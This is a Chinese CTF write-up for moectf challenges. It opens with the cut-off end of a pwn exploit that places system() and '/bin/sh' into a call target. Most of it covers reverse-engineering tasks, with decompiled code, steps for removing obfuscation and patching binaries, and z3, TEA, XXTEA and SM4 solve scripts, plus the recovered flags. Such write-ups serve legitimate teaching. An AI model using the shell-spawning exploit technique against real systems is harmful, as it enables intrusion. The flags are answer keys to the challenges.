# 前半部分写入到了rsp指针中在调用0会直接使用 rdi会写入到rax rax+8->rdi, 可以写入/bin/sh\x00
message(1, payload[0:15])
message(1, p64(system)) # call ptr [rax+10h]
message(0)
# moectf{iF_I8T-3naBL3D-tHEn_YOu_caNN0t-CAptUrE-Thi5-fLaG1}

ia()

reverse

ez3

main函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


int __fastcall main(int argc, const char **argv, const char **envp)
{
 char v3; // bl
 bool v4; // r12
 __int64 v5; // rbx
 __int64 v6; // rax
 char v8; // [rsp+Fh] [rbp-71h] BYREF
 __int64 v9; // [rsp+10h] [rbp-70h] BYREF
 __int64 v10; // [rsp+18h] [rbp-68h] BYREF
 _BYTE v11[32]; // [rsp+20h] [rbp-60h] BYREF
 _BYTE v12[40]; // [rsp+40h] [rbp-40h] BYREF
 unsigned __int64 v13; // [rsp+68h] [rbp-18h]

 v13 = __readfsqword(0x28u);
 printf((unsigned int)"Input your flag:\n> ", (_DWORD)argv, (_DWORD)envp);
 fflush(stdout);
 std::string::basic_string(v11);
 std::operator>><char>((std::istream *)&std::cin);
 if ( std::string::length(v11, v11) == 42 )
 {
 v3 = 0;
 v4 = 1;
 if ( (unsigned __int64)std::string::length(v11, v11) > 7 )
 {
 std::string::substr(v12, v11, 0LL, 7LL);
 v3 = 1;
 if ( !(unsigned __int8)std::operator!=<char>(v12, "moectf{") && *(_BYTE *)std::string::back(v11) == 125 )
 v4 = 0;
 }
 if ( v3 )
 std::string::~string(v12);
 if ( v4 )
 {
 puts("FORMAT ERROR!");
 }
 else
 {
 std::allocator<char>::allocator(&v8);
 v10 = std::string::end(v11);
 v5 = __gnu_cxx::__normal_iterator<char *,std::string>::operator-(&v10, 1LL);
 v9 = std::string::begin(v11);
 v6 = __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v9, 7LL);
 std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>(v12, v6, v5, &v8);
 std::string::operator=(v11, v12);
 std::string::~string(v12);
 std::allocator<char>::~allocator(&v8);
 std::string::basic_string(v12, v11);
 LOBYTE(v5) = check(v12);
 std::string::~string(v12);
 if ( (_BYTE)v5 )
 {
 puts("OK");
 puts("But I don't know what the true flag is");
 }
 else
 {
 puts("try again~");
 }
 }
 }
 else
 {
 puts("Length error!");
 }
 std::string::~string(v11);
 return 0;
}

check()函数，为主加密逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


__int64 __fastcall check(__int64 a1)
{
 int i; // [rsp+1Ch] [rbp-4h]

 for ( i = 0; i <= 33; ++i )
 {
 check(std::string)::b[i] = 47806 * (*(char *)std::string::operator[](a1, i) + i);
 if ( i )
 check(std::string)::b[i] ^= check(std::string)::b[i - 1] ^ 0x114514;
 check(std::string)::b[i] %= 51966;
 if ( check(std::string)::b[i] != a[i] )
 return 0LL;
 }
 return 1LL;
}

check函数中,b[i]%51966会使得不同输入也可以产生相同输出，flag长度为42，b[i]与a[i] (34个字符)会进行比较，跟进a找到数据

check做了什么呢？实际上就是拿b[i]这个计算产生的中间值与51966取模后去跟数组a一一匹配，那么我们用一个flag数组来表示*(char *)std::string::operator[](a1, i) + i 即34哥未知字符然后用z3约束运算求解出

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


from z3 import *

# Given data
a_values = [
 0x0B1B0, 0x5678, 0x7FF2, 0x0A332, 0x0A0E8, 0x364C, 0x2BD4, 0x0C8FE,
 0x4A7C, 0x18, 0x2BE4, 0x4144, 0x3BA6, 0x0BE8C,
 0x8F7E, 0x35F8, 0x61AA, 0x2B4A, 0x6828, 0x0B39E, 0x0B542, 0x33EC,
 0x0C7D8, 0x448C, 0x9310, 0x8808, 0x0ADD4, 0x3CC2,
 0x796, 0x0C940, 0x4E32, 0x4E2E, 0x924A, 0x5B5C
]

s = Solver()

# 用八位位向量表示0-255的数
flag_chars = [BitVec(f'c_{i}', 8) for i in range(34)]

for c in flag_chars:
 s.add(c >= 32, c <= 126) # 限制在ascill码大小

# 逆向代码
b = [0] * 34
for i in range(34):
 # b[i] = 47806 * (c[i] + i)
 b[i] = 47806 * (ZeroExt(24, flag_chars[i]) + i) # ZeroExt用于拓展位宽到32位模拟32位整数
 if i > 0:
 b[i] ^= (b[i-1] ^ 0x114514)
 b[i] = URem(b[i], 51966) #无符号数取模
 s.add(b[i] == a_values[i]) #约束

solutions = []
while len(solutions) < 10 and s.check() == sat:
 m = s.model()
 # 得到字符
 sol_bytes = bytes([m.eval(flag_chars[i]).as_long() for i in range(34)])
 sol_str = sol_bytes.decode('ascii') #取出字符的ascii值
 solutions.append(sol_str)

 s.add(Or([flag_chars[i] != ord(sol_str[i]) for i in range(34)])) #排除相同解

if solutions:
 print("Found solutions:")
 for i, sol in enumerate(solutions, 1):
 print(f"{i}. moectf{{{sol}}}")
else:
 print("No solutions found")

moectf{Y0u_Kn0w_z3_S0Iv3r_N0w_a1f2bdce4a9}

a cup of tea

是tea?找一找，一路上顺便把变量改为十六进制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


__int64 sub_1400162E0()
{
 char *v0; // rdi
 __int64 i; // rcx
 _BYTE v3[32]; // [rsp+0h] [rbp-20h] BYREF
 char v4; // [rsp+20h] [rbp+0h] BYREF
 _DWORD v5[12]; // [rsp+28h] [rbp+8h] BYREF
 _DWORD v6[20]; // [rsp+58h] [rbp+38h]
 _DWORD v7[20]; // [rsp+A8h] [rbp+88h] BYREF
 _DWORD v8[20]; // [rsp+F8h] [rbp+D8h] BYREF
 char Str[64]; // [rsp+148h] [rbp+128h] BYREF
 size_t Size; // [rsp+188h] [rbp+168h]
 int j; // [rsp+1A4h] [rbp+184h]
 int v12; // [rsp+1C8h] [rbp+1A8h] BYREF
 int v13; // [rsp+1CCh] [rbp+1ACh]
 int v14; // [rsp+1E4h] [rbp+1C4h]
 int k; // [rsp+204h] [rbp+1E4h]

 v0 = &v4;
 for ( i = 130LL; i; --i )
 {
 *(_DWORD *)v0 = 0xCCCCCCCC;
 v0 += 4;
 }
 sub_140011384((__int64)&unk_140023015);
 v5[0] = 0x11451419;
 v5[1] = 0x19810114;
 v5[2] = 0x51419198;
 v5[3] = 0x10114514;
 v6[0] = 0x78C594AB;
 v6[1] = 0x22813B59;
 v6[2] = 0x472A3144;
 v6[3] = 0xF255108A;
 v6[4] = 0x45CFB34;
 v6[5] = 0x3949EA0C;
 v6[6] = 0xCB760968;
 v6[7] = 0x1559C979;
 v6[8] = 0xDEF9929D;
 v6[9] = 0x71D1AAB;
 v6[10] = 0;
 memset(v7, 0, 0x2CuLL);
 memset(v8, 0, 0x2CuLL);
 check((__int64)&unk_14001AED0);
 sub_1400113ED((__int64)&unk_14001AEE4, (__int64)Str);
 Size = j_strlen(Str);
 j_memcpy(v7, Str, Size);
 for ( j = 0; j < 5; ++j )
 {
 v12 = v7[2 * j];
 v13 = v7[2 * j + 1];
 tea((__int64)&v12, (__int64)v5);
 v8[2 * j] = v12;
 v8[2 * j + 1] = v13;
 }
 v14 = 1;
 for ( k = 0; k < 11; ++k )
 {
 if ( v8[k] != v6[k] )
 {
 v14 = 0;
 check((__int64)"You are wrong!!");
 break;
 }
 }
 if ( v14 == 1 )
 check((__int64)"Congratulations!!!!");
 sub_140011320((__int64)v3, (__int64)&unk_14001AE60);
 return 0LL;
}

加密逻辑在重命名为tea的函数里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


__int64 __fastcall sub_1400117E0(unsigned int *a1, _DWORD *a2)
{
 __int64 result; // rax
 int v3; // [rsp+24h] [rbp+4h]
 unsigned int v4; // [rsp+44h] [rbp+24h]
 unsigned int v5; // [rsp+64h] [rbp+44h]
 int i; // [rsp+A4h] [rbp+84h]

 sub_140011384(&unk_140023015);
 v3 = 0;
 v4 = *a1;
 v5 = a1[1];
 for ( i = 0; i < 32; ++i )
 {
 v3 += 0x114514;
 v4 += (a2[1] + (v5 >> 5)) ^ (v3 + v5) ^ (*a2 + 16 * v5);
 v5 += (a2[3] + (v4 >> 5)) ^ (v3 + v4) ^ (a2[2] + 16 * v4);
 }
 *a1 = v4;
 result = 4LL;
 a1[1] = v5;
 return result;
}

exp

逆向tea算法即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


#include <stdio.h>
#include <stdint.h>

// tea，改了delta-0x114514
void tea_decrypt(uint32_t *v, uint32_t const *key) {
 uint32_t v0 = v[0], v1 = v[1];
 uint32_t delta = 0x114514;
 uint32_t sum = delta * 32;

 for (int i = 0; i < 32; i++) {
 v1 -= (key[2] + (v0 << 4)) ^ (v0 + sum) ^ (key[3] + (v0 >> 5));
 v0 -= (key[0] + (v1 << 4)) ^ (v1 + sum) ^ (key[1] + (v1 >> 5));
 sum -= delta;
 }

 v[0] = v0;
 v[1] = v1;
}

int main() {
 uint32_t key[4] = {0x11451419, 0x19810114, 0x51419198, 0x10114514};
 uint32_t v6[11] = {
 0x78C594AB, 0x22813B59, 0x472A3144, 0xF255108A,
 0x045CFB34, 0x3949EA0C, 0xCB760968, 0x1559C979,
 0xDEF9929D, 0x071D1AAB,0x00000000
 };

 uint32_t decrypted[10];

 for (int i = 0; i < 10; i += 2) {
 uint32_t block[2] = {v6[i], v6[i+1]};
 tea_decrypt(block, key);
 decrypted[i] = block[0];
 decrypted[i+1] = block[1];
 }


 printf("Decrypted DWORDs:\n");
 for (int i = 0; i < 10; i++) {
 printf("v8[%d] = 0x%08X\n", i, decrypted[i]);
 }

 // 转换为ASCII字符串（小端序）
 printf("\nFlag:\n");
 for (int i = 0; i < 10; i++) { // 只转换前10个DWORD
 uint32_t val = decrypted[i];
 putchar(val & 0xFF);
 putchar((val >> 8) & 0xFF);
 putchar((val >> 16) & 0xFF);
 putchar((val >> 24) & 0xFF);
 }
 printf("\n");

 return 0;
}

flower

关键在于如何去除花指令

首先在这里存在花指令
这里会始终跳转到label+1的随机落在某条指令和jz+jnz的组合使得出现无效调用的指令流情况，所以我们先把这三条都nop掉，但是之后还是不能反汇编，怎么办呢？我们需要重新定义总的solve函数，因为原来存在这条花指令分支，现在则直接跳过了，中间断开了给它直接连起来
汇编中看到两条分支的终点都跳转到了检查canary的地方，我们就设置在第二个分支末尾处为solve()的重点就可以了

然后我们就能反汇编了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


// positive sp value has been detected, the output may be wrong!
__int64 __fastcall solve()
{
 char v0; // r12
 __int64 v1; // rax
 __int64 v2; // rbx
 __int64 v3; // rax
 char *v4; // rax
 __int64 v5; // rax
 __int64 v6; // rax
 __int64 v8; // [rsp+8h] [rbp-68h]
 char v9; // [rsp+17h] [rbp-59h] BYREF
 int i; // [rsp+18h] [rbp-58h]
 int v11; // [rsp+1Ch] [rbp-54h]
 __int64 v12; // [rsp+20h] [rbp-50h] BYREF
 __int64 v13; // [rsp+28h] [rbp-48h] BYREF
 _BYTE v14[40]; // [rsp+30h] [rbp-40h] BYREF
 __int64 v15; // [rsp+58h] [rbp-18h]

 if ( v0 )
 {
 v1 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
 std::ostream::operator<<(v1, std::endl<char,std::char_traits<char>>);
 }
 else
 {
 ((void (__fastcall *)(char *))std::allocator<char>::allocator)(&v9);
 v13 = std::string::end();
 v2 = ((__int64 (__fastcall *)(__int64 *, __int64))__gnu_cxx::__normal_iterator<char *,std::string>::operator-)(
 &v13,
 1LL);
 v12 = std::string::begin();
 v3 = ((__int64 (__fastcall *)(__int64 *, __int64))__gnu_cxx::__normal_iterator<char *,std::string>::operator+)(
 &v12,
 7LL);
 ((void (__fastcall *)(_BYTE *, __int64, __int64, char *))std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>)(
 v14,
 v3,
 v2,
 &v9);
 ((void (__fastcall *)(__int64, _BYTE *))std::string::operator=)(v8, v14);
 std::string::~string(v14);
 std::allocator<char>::~allocator(&v9);
 v11 = ((__int64 (__fastcall *)())std::string::length)();
 if ( v11 == 32 )
 {
 for ( i = 0; i < v11; ++i )
 {
 v4 = (char *)((__int64 (__fastcall *)(__int64, _QWORD))std::string::operator[])(v8, i);
 if ( (unsigned int)encode(*v4) != enc[i] )
 goto LABEL_10;
 }
 if ( !enc[v11] )
 {
 v6 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
 std::ostream::operator<<(v6, std::endl<char,std::char_traits<char>>);
 JUMPOUT(0x404AC3LL);
 }
 }
LABEL_10:
 v5 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
 std::ostream::operator<<(v5, std::endl<char,std::char_traits<char>>);
 }
 return v15 - __readfsqword(0x28u);
}

encode()逻辑很简单:

1
2
3
4
5
6
7


__int64 __fastcall encode(int a1)
{
 int v1; // eax

 v1 = key++;
 return a1 ^ (unsigned int)v1;
}

key不断++然后和enc异或就是我们的值，但是一开始的输出
moectf{l>|9|5tEPkSjE7hU=f=Uk"k%?GIOe5i}这是什么东西？？后来发现

开头的时候拿key和0xa异或了一下，这个得看汇编，所以要注意一下啊

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


#include <stdio.h>

int main() {
 unsigned char enc[32] = {
 0x4F, 0x1A, 0x59, 0x1F, 0x5B, 0x1D, 0x5D, 0x6F,
 0x7B, 0x47, 0x7E, 0x44, 0x6A, 0x07, 0x59, 0x67,
 0x0E, 0x52, 0x08, 0x63, 0x5C, 0x1A, 0x52, 0x1F,
 0x20, 0x7B, 0x21, 0x77, 0x70, 0x25, 0x74, 0x2B
 };

 unsigned char key_start = 0x23^0xa;
 unsigned char ch;

 printf("moectf{");

 for (int i = 0; i < 32; i++) {
 ch = enc[i] ^ (key_start + i);
 fwrite(&ch, 1, 1, stdout);
 }
 printf("}");

 return 0;
}

week2

catch

刚开始有一个栅栏加密的假flag 用try-catch块导致反编译无法识别，

原本是catch块的地方重新定义函数到catch-end就可以反编译

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


// positive sp value has been detected, the output may be wrong!
void __fastcall catch_block(void *a1, __int64 a2)
{
 char *v2; // rdx
 int v3; // [rsp+34h] [rbp-Ch]
 int v4; // [rsp+38h] [rbp-8h]
 int i; // [rsp+3Ch] [rbp-4h]

 _cxa_begin_catch(a1);
 v3 = strlen((const char *)a1);
 for ( i = 0; i < v3; ++i )
 {
 v4 = (unsigned __int8)solve(void)::hidesuwa[i];
 if ( islower((int)a1) )
 {
 v4 = (v4 - 84) % 26 + 97;
 }
 else if ( isupper((int)a1) )
 {
 v4 = (v4 - 52) % 26 + 65;
 }
 v2 = solve(void)::hidesuwa;
 solve(void)::hidesuwa[i] = v4;
 }
 printf((const char *)a1, a2, v2, "so you didn't catch me?\n");
 _cxa_end_catch();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


encrypted = "zbrpgs{F4z3_Ge1px_jvgu_@sybjre_qrfhjn}"
decrypted = []

for c in encrypted:
 if c.islower():
 decrypted_char = chr((ord(c) - ord('a') + 13) % 26 + ord('a'))
 elif c.isupper():
 decrypted_char = chr((ord(c) - ord('A') + 13) % 26 + ord('A'))
 else:
 decrypted_char = c
 decrypted.append(decrypted_char)

print("".join(decrypted))
# moectf{S4m3_Tr1ck_with_@flower_desuwa}

upx_revenge

stub中缺少了了解压用的upx!(自己加密一个就知道了)

010右下角切为插入模式，在解压算法数据前加入upx!的签名(比如0d开头就是这里)
然后就可以运行了

IDA里找到这里，对传入的base64进行换表后加密，换表即对每个字符xor 0xe

使用的是URL base64，换表后base64解密

moectf{Y0u_Re4l1y_G00d_4t_Upx!!!}

two_cups_of_tea

由v12的key数组生成，可以写xtea解密也可以dump出来断点打在main函数return0前，可以看见

用lazyIDA convert dump出来

这就是密钥

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


__int64 __fastcall xxtea(unsigned int *a1, __int64 a2, __int64 a3)
{
 unsigned int v3; // r9d
 int v4; // r11d
 unsigned int v5; // edx
 unsigned int v6; // esi
 unsigned int v7; // ebp
 unsigned int v8; // r14d
 unsigned int v9; // r15d
 unsigned int v10; // r12d
 unsigned int v11; // r13d
 unsigned int v12; // ebx
 unsigned int v13; // ecx
 int v14; // edi
 int v15; // ebx
 __int64 v16; // r10
 int v17; // r11d
 int v18; // eax
 bool v19; // zf
 __int64 result; // rax
 unsigned int v21; // [rsp+0h] [rbp-58h]
 unsigned int v22; // [rsp+4h] [rbp-54h]
 int v23; // [rsp+8h] [rbp-50h]
 int v25; // [rsp+68h] [rbp+10h]
 __int64 v26; // [rsp+70h] [rbp+18h]
 unsigned int v27; // [rsp+78h] [rbp+20h]

 v26 = a3;
 v3 = a1[9];
 v4 = 0;
 v5 = a1[8];
 v6 = a1[1];
 v7 = a1[2];
 v8 = a1[3];
 v9 = a1[4];
 v10 = a1[5];
 v11 = a1[6];
 v12 = *a1;
 v13 = a1[7];
 v27 = v5;
 v22 = v3;
 v23 = 11;
 while ( 1 )
 {
 v25 = v4 - 0x61C88647;
 v14 = *(_DWORD *)(a3 + 4LL * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3));
 v21 = v12 + ((((16 * v3) ^ (v6 >> 3)) + ((v3 >> 5) ^ (4 * v6))) ^ (((v4 - 0x61C88647) ^ v6) + (v14 ^ v3)));
 v15 = *(_DWORD *)(v26 + 4 * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 1LL));
 v6 += ((v21 ^ v15) + ((v4 - 0x61C88647) ^ v7)) ^ (((16 * v21) ^ (v7 >> 3)) + ((v21 >> 5) ^ (4 * v7)));
 v16 = ((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 3LL;
 v17 = *(_DWORD *)(v26 + 4 * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 2LL));
 v7 += ((v6 ^ v17) + (v25 ^ v8)) ^ (((16 * v6) ^ (v8 >> 3)) + ((v6 >> 5) ^ (4 * v8)));
 v8 += ((v25 ^ v9) + (v7 ^ *(_DWORD *)(v26 + 4 * v16))) ^ (((16 * v7) ^ (v9 >> 3)) + ((v7 >> 5) ^ (4 * v9)));
 v9 += ((v8 ^ v14) + (v25 ^ v10)) ^ (((16 * v8) ^ (v10 >> 3)) + ((v8 >> 5) ^ (4 * v10)));
 v10 += ((v9 ^ v15) + (v25 ^ v11)) ^ (((16 * v9) ^ (v11 >> 3)) + ((v9 >> 5) ^ (4 * v11)));
 v18 = (v10 ^ v17) + (v25 ^ v13);
 v4 = v25;
 v11 += v18 ^ (((16 * v10) ^ (v13 >> 3)) + ((v10 >> 5) ^ (4 * v13)));
 v13 += ((v11 ^ *(_DWORD *)(v26 + 4 * v16)) + (v25 ^ v27)) ^ (((16 * v11) ^ (v27 >> 3)) + ((v11 >> 5) ^ (4 * v27)));
 v27 += ((v13 ^ v14) + (v25 ^ v22)) ^ (((16 * v13) ^ (v22 >> 3)) + ((v13 >> 5) ^ (4 * v22)));
 v3 = (((v27 ^ v15) + (v25 ^ v21)) ^ (((16 * v27) ^ (v21 >> 3)) + ((v27 >> 5) ^ (4 * v21)))) + v22;
 a3 = v26;
 v19 = v23-- == 1;
 v22 = v3;
 if ( v19 )
 break;
 v12 = v21;
 }
 result = v13;
 a1[1] = v6;
 a1[2] = v7;
 a1[3] = v8;
 a1[4] = v9;
 a1[5] = v10;
 a1[6] = v11;
 a1[7] = v13;
 a1[8] = v27;
 a1[9] = v3;
 *a1 = v21;
 return result;
}

是一个xxtea加密，v23为11轮，但是中间的加密过程拆开写了，这里有一点要注意，-0x61c88647要加上补码即0x9e3779b9 写xxtea模板解密即可，没有魔改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


// Recover flag in C
// gcc -O2 -std=c11 -o solve solve.c
#define DELTA 0x9e3779b9 // 补码
#include <stdint.h>
#include <stdio.h>

static inline uint32_t U32(uint64_t x) { return (uint32_t)(x & 0xFFFFFFFFu); }

#define MX \
 (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ \
 ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4]) {
 uint32_t y, z, sum;
 unsigned p, rounds, e;
 rounds = 6 + 52 / n;
 sum = rounds * DELTA;
 y = v[0];

 do {
 e = (sum >> 2) & 3;
 for (p = n - 1; p > 0; p--) {
 z = v[p - 1];
 y = v[p] -= MX;
 }
 z = v[n - 1];
 y = v[0] -= MX;
 sum -= DELTA;
 } while (--rounds);
}

int main(void) {
 uint32_t key[4] = {0x63656F6D, 0x21216674, 0x12345678, 0x9ABCDEF0};
 uint32_t v[] = {0x5D624C34, 0x8629FEAD, 0x9D11379B, 0xFCD53211, 0x460F63CE,
 0xC5816E68, 0xFE5300AD, 0x0A0015EE, 0x9806DBBB, 0xEF4A2648};
 btea(v, 10, key);
 char *flag = (char *)v;

 for (int i = 0; i < 40; i++)
 printf("%c", flag[i]);

 return 0;
}

week3及之后（大概吧

ezandroid

Androidmanifest进去就能看到是base64加密,cyberchef即可

ez_windows

在ida中找到窗口消息处理部分

.lpfnWndProc部分为我们的窗口信息处理函数

这里对应命令处理分支，也就是窗口左上角的各个对应框架。在DialogFunc存在关键部分

1

v23[v14] = String[v14] ^ 0x2A; // 每个字符与0x2A异或

下面存在密文的比较

1
2
3
4
5
6
7
8


 do
 {
 v16 = *(unsigned __int16 *)((char *)v15 + (char *)aGeoiLqbj - (char *)v23);
 v17 = *v15 - v16;
 if ( v17 )
 break;
 ++v15;
 }

v16会取出aGeoiLqbj中的低三十二位字节，而高三十二位在实际地址中就是0不用管，因此直接写解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


encrypted_bytes = [
 0x47, 0x45, 0x4F, 0x49, 0x5E, 0x4C, 0x51, 0x62,
 0x6A, 0x5c, 0x1e, 0x75, 0x4C, 0x7F, 0x44, 0x57
]

# 解密（每个字节与0x2A异或）
password = ""
for byte in encrypted_bytes:
 if byte != 0: # 忽略末尾的null
 decrypted = byte ^ 0x2A
 password += chr(decrypted)

print("解密后的密码:", password)

ezandroid_pro

main中通过native层调用了c++的libezandroidpro

将app改为压缩包解压后在libs-arm64下找到，根据命名格式搜索
Java_com_example_ezandroidpro_MainActivity_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97


bool __fastcall Java_com_example_ezandroidpro_MainActivity_check(__int64 a1, __int64 a2, __int64 a3)
{
 const char *v5; // x0
 const char *v6; // x21
 size_t v7; // x0
 size_t v8; // x22
 char *v9; // x23
 _BOOL4 v10; // w20
 unsigned __int64 v11; // x24
 char *v12; // x19
 __int64 *v13; // x10
 unsigned __int64 v14; // x9
 unsigned __int8 *v15; // x10
 char *v16; // x11
 int v17; // w12
 int v18; // w13
 void *v19; // x21
 void *v21[2]; // [xsp+0h] [xbp-50h] BYREF
 void *s1; // [xsp+10h] [xbp-40h]
 void *v23[3]; // [xsp+18h] [xbp-38h] BYREF
 _QWORD v24[2]; // [xsp+30h] [xbp-20h] BYREF
 void *v25; // [xsp+40h] [xbp-10h]
 __int64 v26; // [xsp+48h] [xbp-8h]

 v26 = *(_QWORD *)(_ReadStatusReg(TPIDR_EL0) + 40);
 v5 = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0);
 if ( !v5 )
 return 0;
 v6 = v5;
 v7 = strlen(v5);
 if ( v7 >= 0xFFFFFFFFFFFFFFF0LL )
 std::__basic_string_common<true>::__throw_length_error(v24);
 v8 = v7;
 if ( v7 >= 0x17 )
 {
 v11 = (v7 + 16) & 0xFFFFFFFFFFFFFFF0LL;
 v9 = (char *)operator new(v11);
 v24[1] = v8;
 v25 = v9;
 v24[0] = v11 | 1;
 goto LABEL_8;
 }
 v9 = (char *)v24 + 1;
 LOBYTE(v24[0]) = 2 * v7;
 if ( v7 )
LABEL_8:
 memcpy(v9, v6, v8);
 v9[v8] = 0;
 (*(void (__fastcall **)(__int64, __int64, const char *))(*(_QWORD *)a1 + 1360LL))(a1, a3, v6);
 strcpy((char *)v23, " moectf2025!!!!!!");
 v12 = (char *)operator new(0x70u);
 strcpy(v12, "4EEB1EEF2914D79BFA8C5006332097ED2EF06C4A59CAE31C827A08D45CC649C0B971BF2EFBCB160E531A646DF7A6AC0B");
 sm4Encrypt(v21, v24, v23);
 v13 = (__int64 *)v21[1];
 v14 = (unsigned __int64)LOBYTE(v21[0]) >> 1;
 if ( ((__int64)v21[0] & 1) == 0 )
 v13 = (__int64 *)((unsigned __int64)LOBYTE(v21[0]) >> 1);
 if ( v13 == &qword_60 )
 {
 if ( ((__int64)v21[0] & 1) != 0 )
 {
 v19 = s1;
 v10 = memcmp(s1, v12, 0x60u) == 0;
 goto LABEL_21;
 }
 v15 = (unsigned __int8 *)v21 + 1;
 v16 = v12;
 do
 {
 v17 = *v15;
 v18 = (unsigned __int8)*v16;
 v10 = v17 == v18;
 if ( v17 != v18 )
 break;
 --v14;
 ++v15;
 ++v16;
 }
 while ( v14 );
 }
 else
 {
 v10 = 0;
 }
 if ( ((__int64)v21[0] & 1) != 0 )
 {
 v19 = s1;
LABEL_21:
 operator delete(v19);
 }
 operator delete(v12);
 if ( ((__int64)v23[0] & 1) != 0 )
 operator delete(v23[2]);
 if ( (v24[0] & 1) != 0 )
 operator delete(v25);
 return v10;
}

SM4加密ecb模式，密文直接给了，密钥就是moectf2025!!!!!! 反向解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


from gmssl.sm4 import CryptSM4, SM4_DECRYPT
from binascii import unhexlify

def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"

key = b"moectf2025!!!!!!"
cipher_hex = "4EEB1EEF2914D79BFA8C5006332097ED2EF06C4A59CAE31C827A08D45CC649C0B971BF2EFBCB160E531A646DF7A6AC0B"
cipher_bytes = unhexlify(cipher_hex)

crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_DECRYPT)
plain = crypt_sm4.crypt_ecb(cipher_bytes)
print(CLEAR_TEXT(f"[+] Decrypted:{plain}"))

2048

在线程分支存在检测当前文件夹下有无flag.txt来触发分支进入（注意而且要有37个字符）

继续进入，sub_401a81中的sub_401530是一个修改了xxtea的魔数的算法

在x64dbg中dump出xxtea算法的key

然后写解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


#include <stdio.h>
#include <stdint.h>
#define DELTA 0x3E9779B9//-0x61C88647 补码
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void xxtea(uint32_t *v, int n, uint32_t const key[4])
{
 uint32_t y, z, sum;
 unsigned p, rounds, e;
 rounds = 6 + 52/n;
 sum = rounds*DELTA;
 y = v[0];
 do
 {
 e = (sum >> 2) & 3;
 for (p=n-1; p>0; p--)
 {
 z = v[p-1];
 y = v[p] -= MX;
 }
 z = v[n-1];
 y = v[0] -= MX;
 sum -= DELTA;
 }
 while (--rounds);
}

int main()
{
 uint32_t v[]={
0xCC777935,0x3441131B,0x919FFFF9,0x78945BFF,0xAEAF2A86,0x4D319ED7,0x51A5C47A,0x446ED9D1,0x1B865218,0x63C98A42
 };
 uint32_t const k[4]= {0x38343032,0x7473616d,0x30327265,0x616d3834};
 int n= 10;
 xxtea(v, n, k);
 char *flag=(char*)v;
 for (int i=0;i<40;i++) printf("%c",flag[i]);
 return 0;
}

guess

DIE看一眼

运行程序可以输入十次

编译失败，发现有互补跳转指令

nop掉，出现一大坨c++代码

如果我们输入的数字=v33,那么会直接输出flag，那么反过来patch一下就可以输错也得到flag

a simple program

DIE查看
flag并非在主函数里

发现下面有一串类似密文的字节串，跟踪一下

好像是一个加密函数？实际上是一个TLS的反调试，如果动调就能找到

